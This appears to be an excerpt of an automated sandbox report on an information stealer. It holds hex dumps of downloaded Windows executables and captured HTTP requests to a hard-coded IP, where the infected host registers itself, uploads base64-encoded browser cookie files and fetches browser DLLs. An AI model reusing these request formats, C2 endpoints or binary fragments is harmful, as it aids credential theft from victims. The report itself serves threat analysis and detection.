00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 68 21 01 00 00 e0 40 00 00 94 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 42 00 00 02 00 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 28 00 00 20 42 00 00 02 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 64 65 6e 6c 62 69 6e 00 80 1a 00 00 f0 6a 00 00 7c 1a 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6d 72 66 72 62 78 62 00 10 00 00 00 70 85 00 00 04 00 00 00 78 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 85 00 00 22 00 00 00 7c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 14:30:40 GMTContent-Type: application/octet-streamContent-Length: 1860096Last-Modified: Mon, 09 Dec 2024 13:45:13 GMTConnection: keep-aliveETag: "6756f469-1c6200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 10 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4a 00 00 04 00 00 9d cb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 42 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 30 05 00 00 04 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 50 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6f 74 70 6a 70 72 7a 00 f0 19 00 00 10 30 00 00 e2 19 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 70 6f 62 67 62 75 6a 00 10 00 00 00 00 4a 00 00 04 00 00 00 3c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4a 00 00 22 00 00 00 40 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 14:30:48 GMTContent-Type: application/octet-streamContent-Length: 1818112Last-Modified: Mon, 09 Dec 2024 13:45:20 GMTConnection: keep-aliveETag: "6756f470-1bbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 60 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 69 00 00 04 00 00 4a 15 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6d 64 6d 72 70 79 6d 00 20 1a 00 00 30 4f 00 00 18 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 6b 70 66 66 62 71 78 00 10 00 00 00 50 69 00 00 06 00 00 00 96 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 69 00 00 22 00 00 00 9c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 14:30:57 GMTContent-Type: application/octet-streamContent-Length: 970240Last-Modified: Mon, 09 Dec 2024 13:43:25 GMTConnection: keep-aliveETag: "6756f3fd-ece00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f5 f3 56 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1e 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 83 e8 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 8c 63 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 8c 63 01 00 00 40 0d 00 00 64 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 58 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 35 30 37 35 30 44 45 35 45 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="hwid"150750DE5E39786254513------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="build"stok------CGCFCFBKFCFCBGDGIEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="message"browsers------AAEHIDAKECFIEBGDHJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"plugins------FIIDBKJJDGHDHJKEHJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="message"fplugins------HCFIIIJJKJKFHIDGDBAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 185.215.113.206Content-Length: 5563Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECAHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 2d 2d 0d 0a Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IJECBGIJDGCAEBFIIECA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECAFHDBGHJKFIDHJJJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 2d 2d 0d 0a Data Ascii: ------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="file"------IECAFHDBGHJKFIDHJJJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file"------IJKKKFCFHCFIECBGDHID--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
